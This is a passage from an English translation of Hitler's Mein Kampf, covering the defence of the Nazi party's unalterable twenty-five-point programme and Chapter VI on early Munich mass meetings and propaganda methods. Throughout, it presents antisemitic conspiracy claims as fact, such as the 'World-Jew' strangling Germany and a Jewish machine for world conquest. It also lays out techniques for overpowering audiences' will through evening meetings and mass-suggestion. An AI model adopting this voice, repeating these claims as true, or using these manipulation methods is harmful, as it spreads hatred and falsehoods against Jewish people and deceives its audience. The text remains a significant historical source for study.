guarantee that these principles will be fought for. That +group of people are the German workers. + +That is why the programme of the new movement was condensed into a few +fundamental postulates, twenty-five in all. They are meant first of all +to give the ordinary man a rough sketch of what the movement is aiming +at. They are, so to say, a profession of faith which on the one hand is +meant to win adherents to the movement and, on the other, they are meant +to unite such adherents together in a covenant to which all have +subscribed. + +In these matters we must never lose sight of the following: What we call +the programme of the movement is absolutely right as far as its ultimate +aims are concerned, but as regards the manner in which that programme is +formulated, certain psychological considerations had to be taken +into account. Hence, in the course of time, the opinion may well arise +that certain principles should be expressed differently and might be +better formulated. But any attempt at a different formulation has a +fatal effect in most cases. For something that ought to be fixed and +unshakable thereby becomes the subject of discussion. As soon as one +point alone is removed from the sphere of dogmatic certainty, the +discussion will not simply result in a new and better formulation which +will have greater consistency but may easily lead to endless debates and +general confusion. In such cases the question must always be carefully +considered as to whether a new and more adequate formulation is to be +preferred, though it may cause a controversy within the movement, or +whether it may not be better to retain the old formula which, though +probably not the best, represents an organism enclosed in itself, solid +and internally homogeneous. All experience shows that the second of +these alternatives is preferable. For since in these changes one is +dealing only with external forms such corrections will always appear +desirable and possible. But in the last analysis the generality of +people think superficially and therefore the great danger is that in +what is merely an external formulation of the programme people will see +an essential aim of the movement. In that way the will and the combative +force at the service of the ideas are weakened and the energies that +ought to be directed towards the outer world are dissipated in +programmatic discussions within the ranks of the movement. + +For a doctrine that is actually right in its main features it is less +dangerous to retain a formulation which may no longer be quite adequate +instead of trying to improve it and thereby allowing a fundamental +principle of the movement, which had hitherto been considered as solid +as granite, to become the subject of a general discussion which may have +unfortunate consequences. This is particularly to be avoided as long as +a movement is still fighting for victory. For would it be possible to +inspire people with blind faith in the truth of a doctrine if doubt and +uncertainty are encouraged by continual alterations in its external +formulation? + +The essentials of a teaching must never be looked for in its external +formulas, but always in its inner meaning. And this meaning is +unchangeable. And in its interest one can only wish that a movement +should exclude everything that tends towards disintegration and +uncertainty in order to preserve the unified force that is necessary for +its triumph. + +Here again the Catholic Church has a lesson to teach us. Though +sometimes, and often quite unnecessarily, its dogmatic system is in +conflict with the exact sciences and with scientific discoveries, it is +not disposed to sacrifice a syllable of its teachings. It has rightly +recognized that its powers of resistance would be weakened by +introducing greater or less doctrinal adaptations to meet the temporary +conclusions of science, which in reality are always vacillating. And +thus it holds fast to its fixed and established dogmas which alone can +give to the whole system the character of a faith. And that is the +reason why it stands firmer to-day than ever before. We may prophesy +that, as a fixed pole amid fleeting phenomena, it will continue to +attract increasing numbers of people who will be blindly attached to it +the more rapid the rhythm of changing phenomena around it. + +Therefore whoever really and seriously desires that the idea of the +People's State should triumph must realize that this triumph can be +assured only through a militant movement and that this movement must +ground its strength only on the granite firmness of an impregnable and +firmly coherent programme. In regard to its formulas it must never make +concessions to the spirit of the time but must maintain the form that +has once and for all been decided upon as the right one; in any case +until victory has crowned its efforts. Before this goal has been reached +any attempt to open a discussion on the opportuneness of this or that +point in the programme might tend to disintegrate the solidity and +fighting strength of the movement, according to the measures in which +its followers might take part in such an internal dispute. Some +'improvements' introduced to-day might be subjected to a critical +examination to-morrow, in order to substitute it with something better +{258}the day after. Once the barrier has been taken down the road is +opened and we know only the beginning, but we do not know to what +shoreless sea it may lead. + +This important principle had to be acknowledged in practice by the +members of the National Socialist Movement at its very beginning. In its +programme of twenty-five points the National Socialist German Labour +Party has been furnished with a basis that must remain unshakable. The +members of the movement, both present and future, must never feel +themselves called upon to undertake a critical revision of these leading +postulates, but rather feel themselves obliged to put them into practice +as they stand. Otherwise the next generation would, in its turn and with +equal right, expend its energy in such purely formal work within the +party, instead of winning new adherents to the movement and thus adding +to its power. For the majority of our followers the essence of the +movement will consist not so much in the letter of our theses but in the +meaning that we attribute to them. + +The new movement owes its name to these considerations, and later on its +programme was drawn up in conformity with them. They are the basis of +our propaganda. In order to carry the idea of the People's State to +victory, a popular party had to be founded, a party that did not consist +of intellectual leaders only but also of manual labourers. Any attempt +to carry these theories into effect without the aid of a militant +organization would be doomed to failure to-day, as it has failed in the +past and must fail in the future. That is why the movement is not only +justified but it is also obliged to consider itself as the champion and +representative of these ideas. Just as the fundamental principles of the +National Socialist Movement are based on the folk idea, folk ideas are +National Socialist. If National Socialism would triumph it will have to +hold firm to this fact unreservedly, and here again it has not only the +right but also the duty to emphasize most rigidly that any attempt to +represent the folk idea outside of the National Socialist German Labour +Party is futile and in most cases fraudulent. + +If the reproach should be launched against our movement that it has +'monopolized' the folk idea, there is only one answer to give. + +Not only have we monopolized the folk idea but, to all practical intents +and purposes, we have created it. + +For what hitherto existed under this name was not in the least capable +of influencing the destiny of our people, since all those ideas lacked a +political and coherent formulation. In most cases they are nothing but +isolated and incoherent notions which are more or less right. Quite +frequently these were in open contradiction to one another and in no +case was there any internal cohesion among them. And even if this +internal cohesion existed it would have been much too weak to form the +basis of any movement. + +Only the National Socialist Movement proved capable of fulfilling this +task. + +All kinds of associations and groups, big as well as little, now claim +the title VÖLKISCH. This is one result of the work which National +Socialism has done. Without this work, not one of all these parties +would have thought of adopting the word VÖLKISCH at all. That expression +would have meant nothing to them and especially their directors would +never have had anything to do with such an idea. Not until the work of +the German National Socialist Labour Party had given this idea a +pregnant meaning did it appear in the mouths of all kinds of people. Our +party above all, by the success of its propaganda, has shown the force +of the folk idea; so much so that the others, in an effort to gain +proselytes, find themselves forced to copy our example, at least in +words. + +Just as heretofore they exploited everything to serve their petty +electoral purposes, to-day they use the word VÖLKISCH only as an +external and hollow-sounding phrase for the purpose of counteracting the +force of the impression which the National Socialist Party makes on the +members of those other parties. Only the desire to maintain their +existence and the fear that our movement may prevail, because it is +based on a WELTANSCHAUUNG that is of universal importance, and because +they feel that the exclusive character of our movement betokens danger +for them--only for these reasons do they use words which they +repudiated eight {259}years ago, derided seven years ago, branded as +stupid six years ago, combated five years ago, hated four years ago, and +finally, two years ago, annexed and incorporated them in their present +political vocabulary, employing them as war slogans in their struggle. + +And so it is necessary even now not to cease calling attention to the +fact that not one of those parties has the slightest idea of what the +German nation needs. The most striking proof of this is represented by +the superficial way in which they use the word VÖLKISCH. + +Not less dangerous are those who run about as semi-folkists formulating +fantastic schemes which are mostly based on nothing else than a fixed +idea which in itself might be right but which, because it is an isolated +notion, is of no use whatsoever for the formation of a great homogeneous +fighting association and could by no means serve as the basis of its +organization. Those people who concoct a programme which consists partly +of their own ideas and partly of ideas taken from others, about which +they have read somewhere, are often more dangerous than the outspoken +enemies of the VÖLKISCH idea. At best they are sterile theorists but +more frequently they are mischievous agitators of the public mind. They +believe that they can mask their intellectual vanity, the futility of +their efforts, and their lack of stability, by sporting flowing beards +and indulging in ancient German gestures. + +In face of all those futile attempts, it is therefore worth while to +recall the time when the new National Socialist Movement began its +fight. + + + + +CHAPTER VI + + + +THE FIRST PERIOD OF OUR STRUGGLE + + +The echoes of our first great meeting, in the banquet hall of the +Hofbräuhaus on February 24th, 1920, had not yet died away when we began +preparations for our next meeting. Up to that time we had to consider +carefully the venture of holding a small meeting every month or at most +every fortnight in a city like Munich; but now it was decided that we +should hold a mass meeting every week. I need not say that we anxiously +asked ourselves on each occasion again and again: Will the people come +and will they listen? Personally I was firmly convinced that if once +they came they would remain and listen. + +During that period the hall of the Hofbrau Haus in Munich acquired for +us, National Socialists, a sort of mystic significance. Every week there +was a meeting, almost always in that hall, and each time the hall was +better filled than on the former occasion, and our public more +attentive. + +Starting with the theme, 'Responsibility for the War,' which nobody at +that time cared about, and passing on to the discussion of the peace +treaties, we dealt with almost everything that served to stimulate the +minds of our audience and make them interested in our ideas. We drew +attention to the peace treaties. What the new movement prophesied again +and again before those great masses of people has been fulfilled almost +in every detail. To-day it is easy to talk and write about these things. +But in those days a public mass meeting which was attended not by the +small bourgeoisie but by proletarians who had been aroused by agitators, +to criticize the Peace Treaty of Versailles meant an attack on the +Republic and an evidence of reaction, if not of monarchist tendencies. +The moment one uttered the first criticism of the Versailles Treaty one +could expect an immediate reply, which became almost stereotyped: 'And +Brest-Litowsk?' 'Brest-Litowsk!' And then the crowd would murmur and the +murmur would gradually swell into a roar, until the speaker would have +to give up his attempt to persuade them. It would be like knocking one's +head against a wall, so desperate were these people. They would not +listen nor understand that Versailles was a scandal and a disgrace and +that the dictate signified an act of highway robbery against our people. +The disruptive work done by the Marxists and the poisonous propaganda of +the external enemy had robbed these people of their reason. And one had +no right to complain. For the guilt on this side was enormous. What had +the German bourgeoisie done to call a halt to this terrible campaign of +disintegration, to oppose it and open a way to a recognition of the +truth by giving a better and more thorough explanation of the situation +than that of the Marxists? Nothing, nothing. At that time I never saw +those who are now the great apostles of the people. Perhaps they spoke +to select groups, at tea parties of their own little coteries; but there +where they should have been, where the wolves were at work, they never +risked their appearance, unless it gave them the opportunity of yelling +in concert with the wolves. + +As for myself, I then saw clearly that for the small group which first +composed our movement the question of war guilt had to be cleared up, +and cleared up in the light of historical truth. A preliminary condition +for the future success of our movement was that it should bring +knowledge of the meaning of the peace treaties to the minds of the +popular masses. In the opinion of the masses, the peace treaties then +signified a democratic success. Therefore, it was necessary to take the +opposite side and dig ourselves into the minds of the people as the +enemies of the peace treaties; so that later on, when the naked truth of +this despicable swindle would be disclosed in all its hideousness, the +people would recall the position which we then took and would give us +their confidence. + +Already at that time I took up my stand on those important fundamental +questions where public opinion had gone wrong as a whole. I opposed +these wrong notions without regard either for popularity or for hatred, +and I was ready to face the fight. The National Socialist German Labour +Party ought not to be the beadle but rather the master of public +opinion. It must not serve the masses but rather dominate them. + +In the case of every movement, especially during its struggling stages, +there is naturally a temptation to conform to the tactics of an opponent +and use the same battle-cries, when his tactics have succeeded in +leading the people to crazy conclusions or to adopt mistaken attitudes +towards the questions at issue. This temptation is particularly strong +when motives can be found, though they are entirely illusory, that seem +to point towards the same ends which the young movement is aiming at. +Human poltroonery will then all the more readily adopt those arguments +which give it a semblance of justification, 'from its own point of +view,' in participating in the criminal policy which the adversary is +following. + +On several occasions I have experienced such cases, in which the +greatest energy had to be employed to prevent the ship of our movement +from being drawn into a general current which had been started +artificially, and indeed from sailing with it. The last occasion was +when our German Press, the Hecuba of the existence of the German nation, +succeeded in bringing the question of South Tyrol into a position of +importance which was seriously damaging to the interests of the German +people. Without considering what interests they were serving, several +so-called 'national' men, parties and leagues, joined in the general +cry, simply for fear of public opinion which had been excited by the +Jews, and foolishly contributed to help in the struggle against a system +which we Germans ought, particularly in those days, to consider as the +one ray of light in this distracted world. While the international +World-Jew is slowly but surely strangling us, our so-called patriots +vociferate against a man and his system which have had the courage to +liberate themselves from the shackles of Jewish Freemasonry at least in +one quarter of the globe and to set the forces of national resistance +against the international world-poison. But weak characters were tempted +to set their sails according to the direction of the wind and capitulate +before the shout of public opinion. For it was veritably a capitulation. +They are so much in the habit of lying and so morally base that men may +not admit this even to themselves, but the truth remains that only +cowardice and fear of the public feeling aroused by the Jews induced +certain people to join in the hue and cry. All the other reasons put +forward were only miserable excuses of paltry culprits who were +conscious of their own crime. + +There it was necessary to grasp the rudder with an iron hand and turn +the movement about, so as to save it from a course that would have led +it on the rocks. Certainly to attempt such a change of course was not a +popular manoeuvre at that time, because all the leading forces of public +opinion had been active and a great flame of public feeling illuminated +only one direction. Such a decision almost always brings disfavour on +those who dare to take it. In the course of history not a few men have +been stoned for an act for which posterity has afterwards thanked them +on its knees. + +But a movement must count on posterity and not on the plaudits of the +movement. It may well be that at such moments certain individuals have +to endure hours of anguish; but they should not forget that the moment +of liberation will come and that a movement which purposes to reshape +the world must serve the future and not the passing hour. + +On this point it may be asserted that the greatest and most enduring +successes in history are mostly those which were least understood at the +beginning, because they were in strong contrast to public opinion and +the views and wishes of the time. + +We had experience of this when we made our own first public appearance. +In all truth it can be said that we did not court public favour but made +an onslaught on the follies of our people. In those days the following +happened almost always: I presented myself before an assembly of men who +believed the opposite of what I wished to say and who wanted the +opposite of what I believed in. Then I had to spend a couple of hours in +persuading two or three thousand people to give up the opinions they had +first held, in destroying the foundations of their views with one blow +after another and finally in leading them over to take their stand on +the grounds of our own convictions and our WELTANSCHAUUNG. + +I learned something that was important at that time, namely, to snatch +from the hands of the enemy the weapons which he was using in his reply. +I soon noticed that our adversaries, especially in the persons of those +who led the discussion against us, were furnished with a definite +repertoire of arguments out of which they took points against our claims +which were being constantly repeated. The uniform character of this mode +of procedure pointed to a systematic and unified training. And so we +were able to recognize the incredible way in which the enemy's +propagandists had been disciplined, and I am proud to-day that I +discovered a means not only of making this propaganda ineffective but of +beating the artificers of it at their own work. Two years later I was +master of that art. + +In every speech which I made it was important to get a clear idea +beforehand of the probable form and matter of the counter-arguments we +had to expect in the discussion, so that in the course of my own speech +these could be dealt with and refuted. To this end it was necessary to +mention all the possible objections and show their inconsistency; it was +all the easier to win over an honest listener by expunging from his +memory the arguments which had been impressed upon it, so that we +anticipated our replies. What he had learned was refuted without having +been mentioned by him and that made him all the more attentive to what I +had to say. + +That was the reason why, after my first lecture on the 'Peace Treaty of +Versailles,' which I delivered to the troops while I was still a +political instructor in my regiment, I made an alteration in the title +and subject and henceforth spoke on 'The Treaties of Brest-Litowsk and +Versailles.' For after the discussion which followed my first lecture I +quickly ascertained that in reality people knew nothing about the Treaty +of Brest-Litowsk and that able party propaganda had succeeded in +presenting that Treaty as one of the most scandalous acts of violence in +the history of the world. + +As a result of the persistency with which this falsehood was repeated +again and again before the masses of the people, millions of Germans saw +in the Treaty of Versailles a just castigation for the crime we had +committed at Brest-Litowsk. Thus they considered all opposition to +Versailles as unjust and in many cases there was an honest moral dislike +to such a proceeding. And this was also the reason why the shameless and +monstrous word 'Reparations' came into common use in Germany. This +hypocritical falsehood appeared to millions of our exasperated fellow +countrymen as the fulfilment of a higher justice. It is a terrible +thought, but the fact was so. The best proof of this was the propaganda +which I initiated against Versailles by explaining the Treaty of +Brest-Litowsk. I compared the two treaties with one another, point by +point, and showed how in truth the one treaty was immensely humane, in +contradistinction to the inhuman barbarity of the other. The effect was +very striking. Then I spoke on this theme before an assembly of two +thousand persons, during which I often saw three thousand six hundred +hostile eyes fixed on me. And three hours later I had in front of me a +swaying mass of righteous indignation and fury. A great lie had been +uprooted from the hearts and brains of a crowd composed of thousands of +individuals and a truth had been implanted in its place. + +The two lectures--that 'On the Causes of the World War' and 'On the +Peace Treaties of Brest-Litowsk and Versailles' respectively--I then +considered as the most important of all. Therefore I repeated them +dozens of times, always giving them a new intonation; until at least on +those points a definitely clear and unanimous opinion reigned among +those from whom our movement recruited its first members. + +Furthermore, these gatherings brought me the advantage that I slowly +became a platform orator at mass meetings, and gave me practice in the +pathos and gesture required in large halls that held thousands of +people. + +Outside of the small circles which I have mentioned, at that time I +found no party engaged in explaining things to the people in this way. +Not one of these parties was then active which talk to-day as if it was +they who had brought about the change in public opinion. If a political +leader, calling himself a nationalist, pronounced a discourse somewhere +or other on this theme it was only before circles which for the most +part were already of his own conviction and among whom the most that was +done was to confirm them in their opinions. But that was not what was +needed then. What was needed was to win over through propaganda and +explanation those whose opinions and mental attitudes held them bound to +the enemy's camp. + +The one-page circular was also adopted by us to help in this propaganda. +While still a soldier I had written a circular in which I contrasted the +Treaty of Brest-Litowsk with that of Versailles. That circular was +printed and distributed in large numbers. Later on I used it for the +party, and also with good success. Our first meetings were distinguished +by the fact that there were tables covered with leaflets, papers, and +pamphlets of every kind. But we relied principally on the spoken word. +And, in fact, this is the only means capable of producing really great +revolutions, which can be explained on general psychological grounds. + +In the first volume I have already stated that all the formidable events +which have changed the aspect of the world were carried through, not by +the written but by the spoken word. On that point there was a long +discussion in a certain section of the Press during the course of which +our shrewd bourgeois people strongly opposed my thesis. But the reason +for this attitude confounded the sceptics. The bourgeois intellectuals +protested against my attitude simply because they themselves did not +have the force or ability to influence the masses through the spoken +word; for they always relied exclusively on the help of writers and did +not enter the arena themselves as orators for the purpose of arousing +the people. The development of events necessarily led to that condition +of affairs which is characteristic of the bourgeoisie to-day, namely, +the loss of the psychological instinct to act upon and influence the +masses. + +An orator receives continuous guidance from the people before whom he +speaks. This helps him to correct the direction of his speech; for he +can always gauge, by the faces of his hearers, how far they follow and +understand him, and whether his words are producing the desired effect. +But the writer does not know his reader at all. Therefore, from the +outset he does not address himself to a definite human group of persons +which he has before his eyes but must write in a general way. Hence, up +to a certain extent he must fail in psychological finesse and +flexibility. Therefore, in general it may be said that a brilliant +orator writes better than a brilliant writer can speak, unless the +latter has continual practice in public speaking. One must also remember +that of itself the multitude is mentally inert, that it remains attached +to its old habits and that it is not naturally prone to read something +which does not conform with its own pre-established beliefs when such +writing does not contain what the multitude hopes to find there. +Therefore, some piece of writing which has a particular tendency is for +the most part read only by those who are in sympathy with it. Only a +leaflet or a placard, on account of its brevity, can hope to arouse a +momentary interest in those whose opinions differ from it. The picture, +in all its forms, including the film, has better prospects. Here there +is less need of elaborating the appeal to the intelligence. It is +sufficient if one be careful to have quite short texts, because many +people are more ready to accept a pictorial presentation than to read a +long written description. In a much shorter time, at one stroke I might +say, people will understand a pictorial presentation of something which +it would take them a long and laborious effort of reading to understand. + +The most important consideration, however, is that one never knows into +what hands a piece of written material comes and yet the form in which +its subject is presented must remain the same. In general the effect is +greater when the form of treatment corresponds to the mental level of +the reader and suits his nature. Therefore, a book which is meant for +the broad masses of the people must try from the very start to gain its +effects through a style and level of ideas which would be quite +different from a book intended to be read by the higher intellectual +classes. + +Only through his capacity for adaptability does the force of the written +word approach that of oral speech. The orator may deal with the same +subject as a book deals with; but if he has the genius of a great and +popular orator he will scarcely ever repeat the same argument or the +same material in the same form on two consecutive occasions. He will +always follow the lead of the great mass in such a way that from the +living emotion of his hearers the apt word which he needs will be +suggested to him and in its turn this will go straight to the hearts of +his hearers. Should he make even a slight mistake he has the living +correction before him. As I have already said, he can read the play of +expression on the faces of his hearers, first to see if they understand +what he says, secondly to see if they take in the whole of his argument, +and, thirdly, in how far they are convinced of the justice of what has +been placed before them. Should he observe, first, that his hearers do +not understand him he will make his explanation so elementary and clear +that they will be able to grasp it, even to the last individual. +Secondly, if he feels that they are not capable of following him he will +make one idea follow another carefully and slowly until the most +slow-witted hearer no longer lags behind. Thirdly, as soon as he has the +feeling that they do not seem convinced that he is right in the way he +has put things to them he will repeat his argument over and over again, +always giving fresh illustrations, and he himself will state their +unspoken objection. He will repeat these objections, dissecting them and +refuting them, until the last group of the opposition show him by their +behaviour and play of expression that they have capitulated before his +exposition of the case. + +Not infrequently it is a case of overcoming ingrained prejudices which +are mostly unconscious and are supported by sentiment rather than +reason. It is a thousand times more difficult to overcome this barrier +of instinctive aversion, emotional hatred and preventive dissent than to +correct opinions which are founded on defective or erroneous knowledge. +False ideas and ignorance may be set aside by means of instruction, but +emotional resistance never can. Nothing but an appeal to these hidden +forces will be effective here. And that appeal can be made by scarcely +any writer. Only the orator can hope to make it. + +A very striking proof of this is found in the fact that, though we had a +bourgeois Press which in many cases was well written and produced and +had a circulation of millions among the people, it could not prevent the +broad masses from becoming the implacable enemies of the bourgeois +class. The deluge of papers and books published by the intellectual +circles year after year passed over the millions of the lower social +strata like water over glazed leather. This proves that one of two +things must be true: either that the matter offered in the bourgeois +Press was worthless or that it is impossible to reach the hearts of the +broad masses by means of the written word alone. Of course, the latter +would be specially true where the written material shows such little +psychological insight as has hitherto been the case. + +It is useless to object here, as certain big Berlin papers of +German-National tendencies have attempted to do, that this statement is +refuted by the fact that the Marxists have exercised their greatest +influence through their writings, and especially through their principal +book, published by Karl Marx. Seldom has a more superficial argument +been based on a false assumption. What gave Marxism its amazing +influence over the broad masses was not that formal printed work which +sets forth the Jewish system of ideas, but the tremendous oral +propaganda carried on for years among the masses. Out of one hundred +thousand German workers scarcely one hundred know of Marx's book. It has +been studied much more in intellectual circles and especially by the +Jews than by the genuine followers of the movement who come from the +lower classes. That work was not written for the masses, but exclusively +for the intellectual leaders of the Jewish machine for conquering the +world. The engine was heated with quite different stuff: namely, the +journalistic Press. What differentiates the bourgeois Press from the +Marxist Press is that the latter is written by agitators, whereas the +bourgeois Press would like to carry on agitation by means of +professional writers. The Social-Democrat sub-editor, who almost always +came directly from the meeting to the editorial offices of his paper, +felt his job on his finger-tips. But the bourgeois writer who left his +desk to appear before the masses already felt ill when he smelled the +very odour of the crowd and found that what he had written was useless +to him. + +What won over millions of workpeople to the Marxist cause was not the EX +CATHEDRA style of the Marxist writers but the formidable propagandist +work done by tens of thousands of indefatigable agitators, commencing +with the leading fiery agitator down to the smallest official in the +syndicate, the trusted delegate and the platform orator. Furthermore, +there were the hundreds of thousands of meetings where these orators, +standing on tables in smoky taverns, hammered their ideas into the heads +of the masses, thus acquiring an admirable psychological knowledge of +the human material they had to deal with. And in this way they were +enabled to select the best weapons for their assault on the citadel of +public opinion. In addition to all this there were the gigantic +mass-demonstrations with processions in which a hundred thousand men +took part. All this was calculated to impress on the petty-hearted +individual the proud conviction that, though a small worm, he was at the +same time a cell of the great dragon before whose devastating breath the +hated bourgeois world would one day be consumed in fire and flame, and +the dictatorship of the proletariat would celebrate its conclusive +victory. + +This kind of propaganda influenced men in such a way as to give them a +taste for reading the Social Democratic Press and prepare their minds +for its teaching. That Press, in its turn, was a vehicle of the spoken +word rather than of the written word. Whereas in the bourgeois camp +professors and learned writers, theorists and authors of all kinds, made +attempts at talking, in the Marxist camp real speakers often made +attempts at writing. And it was precisely the Jew who was most prominent +here. In general and because of his shrewd dialectical skill and his +knack of twisting the truth to suit his own purposes, he was an +effective writer but in reality his MÉTIER was that of a revolutionary +orator rather than a writer. + +For this reason the journalistic bourgeois world, setting aside the fact +that here also the Jew held the whip hand and that therefore this press +did not really interest itself in the instructtion of the broad masses, +was not able to exercise even the least influence over the opinions held +by the great masses of our people. + +It is difficult to remove emotional prejudices, psychological bias, +feelings, etc., and to put others in their place. Success depends here +on imponderable conditions and influences. Only the orator who is gifted +with the most sensitive insight can estimate all this. Even the time of +day at which the speech is delivered has a decisive influence on its +results. The same speech, made by the same orator and on the same theme, +will have very different results according as it is delivered at ten +o'clock in the forenoon, at three in the afternoon, or in the evening. +When I first engaged in public speaking I arranged for meetings to take +place in the forenoon and I remember particularly a demonstration that +we held in the Munich Kindl Keller 'Against the Oppression of German +Districts.' That was the biggest hall then in Munich and the audacity of +our undertaking was great. In order to make the hour of the meeting +attractive for all the members of our movement and the other people who +might come, I fixed it for ten o'clock on a Sunday morning. The result +was depressing. But it was very instructive. The hall was filled. The +impression was profound, but the general feeling was cold as ice. Nobody +got warmed up, and I myself, as the speaker of the occasion, felt +profoundly unhappy at the thought that I could not establish the +slightest contact with my audience. I do not think I spoke worse than +before, but the effect seemed absolutely negative. I left the hall very +discontented, but also feeling that I had gained a new experience. Later +on I tried the same kind of experiment, but always with the same +results. + +That was nothing to be wondered at. If one goes to a theatre to see a +matinée performance and then attends an evening performance of the same +play one is astounded at the difference in the impressions created. A +sensitive person recognizes for himself the fact that these two states +of mind caused by the matinee and the evening performance respectively +are quite different in themselves. The same is true of cinema +productions. This latter point is important; for one may say of the +theatre that perhaps in the afternoon the actor does not make the same +effort as in the evening. But surely it cannot be said that the cinema +is different in the afternoon from what it is at nine o'clock in the +evening. No, here the time exercises a distinct influence, just as a +room exercises a distinct influence on a person. There are rooms which +leave one cold, for reasons which are difficult to explain. There are +rooms which refuse steadfastly to allow any favourable atmosphere to be +created in them. Moreover, certain memories and traditions which are +present as pictures in the human mind may have a determining influence +on the impression produced. Thus, a representation of Parsifal at +Bayreuth will have an effect quite different from that which the same +opera produces in any other part of the world. The mysterious charm of +the House on the 'Festival Heights' in the old city of The Margrave +cannot be equalled or substituted anywhere else. + +In all these cases one deals with the problem of influencing the freedom +of the human will. And that is true especially of meetings where there +are men whose wills are opposed to the speaker and who must be brought +around to a new way of thinking. In the morning and during the day it +seems that the power of the human will rebels with its strongest energy +against any attempt to impose upon it the will or opinion of another. On +the other hand, in the evening it easily succumbs to the domination of a +stronger will. Because really in such assemblies there is a contest +between two opposite forces. The superior oratorical art of a man who +has the compelling character of an apostle will succeed better in +bringing around to a new way of thinking those who have naturally been +subjected to a weakening of their forces of resistance rather than in +converting those who are in full possession of their volitional and +intellectual energies. + +The mysterious artificial dimness of the Catholic churches also serves +this purpose, the burning candles, the incense, the thurible, etc. + +In this struggle between the orator and the opponent whom he must +convert to his cause this marvellous sensibility towards the +psychological influences of propaganda can hardly ever be availed of by +an author. Generally speaking, the effect of the writer's work helps +rather to conserve, reinforce and deepen the foundations of a mentality +already existing. All really great historical revolutions were not +produced by the written word. At most, they were accompanied by it. + +It is out of the question to think that the French Revolution could have +been carried into effect by philosophizing theories if they had not +found an army of agitators led by demagogues of the grand style. These +demagogues inflamed popular passion that had been already aroused, until +that volcanic eruption finally broke out and convulsed the whole of +Europe. And the same happened in the case of the gigantic Bolshevik +revolution which recently took place in Russia. It was not due to the +writers on Lenin's side but to the oratorical activities of those who +preached the doctrine of hatred and that of the innumerable small and +great orators who took part in the agitation. + +The masses of illiterate Russians were not fired to Communist +revolutionary enthusiasm by reading the theories of Karl Marx but by the +promises of paradise made to the people by thousands of agitators in the +service of an idea. + +It was always so, and it will always be so. + +It is just typical of our pig-headed intellectuals, who live apart from +the practical world, to think that a writer must of necessity be +superior to an orator in intelligence. This point of view was once +exquisitely illustrated by a critique, published in a certain National +paper which I have already mentioned, where it was stated that one is +often disillusioned by reading the speech of an acknowledged great +orator in print. That reminded me of another article which came into my +hands during the War. It dealt with the speeches of Lloyd George, who +was then Minister of Munitions, and examined them in a painstaking way +under the microscope of criticism. The writer made the brilliant +statement that these speeches showed inferior intelligence and learning +and that, moreover, they were banal and commonplace productions. I +myself procured some of these speeches, published in pamphlet form, and +had to laugh at the fact that a normal German quill-driver did not in +the least understand these psychological masterpieces in the art of +influencing the masses. This man criticized these speeches exclusively +according to the impression they made on his own blasé mind, whereas the +great British Demagogue had produced an immense effect on his audience +through them, and in the widest sense on the whole of the British +populace. Looked at from this point of view, that Englishman's speeches +were most wonderful achievements, precisely because they showed an +astounding knowledge of the soul of the broad masses of the people. For +that reason their effect was really penetrating. Compare with them the +futile stammerings of a Bethmann-Hollweg. On the surface his speeches +were undoubtedly more intellectual, but they just proved this man's +inability to speak to the people, which he really could not do. +Nevertheless, to the average stupid brain of the German writer, who is, +of course, endowed with a lot of scientific learning, it came quite +natural to judge the speeches of the English Minister--which were made +for the purpose of influencing the masses--by the impression which they +made on his own mind, fossilized in its abstract learning. And it was +more natural for him to compare them in the light of that impression +with the brilliant but futile talk of the German statesman, which of +course appealed to the writer's mind much more favourably. That the +genius of Lloyd George was not only equal but a thousandfold superior to +that of a Bethmann-Hollweg is proved by the fact that he found for his +speeches that form and expression which opened the hearts of his people +to him and made these people carry out his will absolutely. The +primitive quality itself of those speeches, the originality of his +expressions, his choice of clear and simple illustration, are examples +which prove the superior political capacity of this Englishman. For one +must never judge the speech of a statesman to his people by the +impression which it leaves on the mind of a university professor but by +the effect it produces on the people. And this is the sole criterion of +the orator's genius. + +The astonishing development of our movement, which was created from +nothing a few years ago and is to-day singled out for persecution by all +the internal and external enemies of our nation, must be attributed to +the constant recognition and practical application of those principles. + +Written matter also played an important part in our movement; but at the +stage of which I am writing it served to give an equal and uniform +education to the directors of the movement, in the upper as well as in +the lower grades, rather than to convert the masses of our adversaries. +It was only in very rare cases that a convinced and devoted Social +Democrat or Communist was induced to acquire an understanding of our +WELTANSCHAUUNG or to study a criticism of his own by procuring and +reading one of our pamphlets or even one of our books. Even a newspaper +is rarely read if it does not bear the stamp of a party affiliation. +Moreover, the reading of newspapers helps little; because the general +picture given by a single number of a newspaper is so confused and +produces such a fragmentary impression that it really does not influence +the occasional reader. And where a man has to count his pennies it +cannot be assumed that, exclusively for the purpose of being objectively +informed, he will become a regular reader or subscriber to a paper which +opposes his views. Only one who has already joined a movement will +regularly read the party organ of that movement, and especially for the +purpose of keeping himself informed of what is happening in the +movement. + +It is quite different with the 'spoken' leaflet. Especially if it be +distributed gratis it will be taken up by one person or another, all the +more willingly if its display title refers to a question about which +everybody is talking at the moment. Perhaps the reader, after having +read through such a leaflet more or less thoughtfully, will have new +viewpoints and mental attitudes and may give his attention to a new +movement. But with these, even in the best of cases, only a small +impulse will be given, but no definite conviction will be created; +because the leaflet can do nothing more than draw attention to something +and can become effective only by bringing the reader subsequently into a +situation where he is more fundamentally informed and instructed. Such +instruction must always be given at the mass assembly. + +Mass assemblies are also necessary for the reason that, in attending +them, the individual who felt himself formerly only on the point of +joining the new movement, now begins to feel isolated and in fear of +being left alone as he acquires for the first time the picture of a +great community which has a strengthening and encouraging effect on most +people. Brigaded in a company or battalion, surrounded by his +companions, he will march with a lighter heart to the attack than if he +had to march alone. In the crowd he feels himself in some way thus +sheltered, though in reality there are a thousand arguments against such +a feeling. + +Mass demonstrations on the grand scale not only reinforce the will of +the individual but they draw him still closer to the movement and help +to create an ESPRIT DE CORPS. The man who appears first as the +representative of a new doctrine in his place of business or in his +factory is bound to feel himself embarrassed and has need of that +reinforcement which comes from the consciousness that he is a member of +a great community. And only a mass demonstration can impress upon him +the greatness of this community. If, on leaving the shop or mammoth +factory, in which he feels very small indeed, he should enter a vast +assembly for the first time and see around him thousands and thousands +of men who hold the same opinions; if, while still seeking his way, he +is gripped by the force of mass-suggestion which comes from the +excitement and enthusiasm of three or four thousand other men in whose +midst he finds himself; if the manifest success and the concensus of +thousands confirm the truth and justice of the new teaching and for the +first time raise doubt in his mind as to the truth of the opinions held +by himself up to now--then he submits himself to the fascination of +what we call mass-suggestion. The will, the yearning and indeed the +strength of thousands of people are in each individual. A man who enters +such a meeting in doubt and hesitation leaves it inwardly fortified; he +has become a member of a community. + +The National Socialist Movement should never forget this, and it should +never allow itself to be influenced by these bourgeois duffers who think +they know everything but who have foolishly gambled away a great State, +together with their own existence and the supremacy of their own class. +They are overflowing with ability; they can do everything, and they know +everything. But there is one thing they have not known how to do, and +that is how to 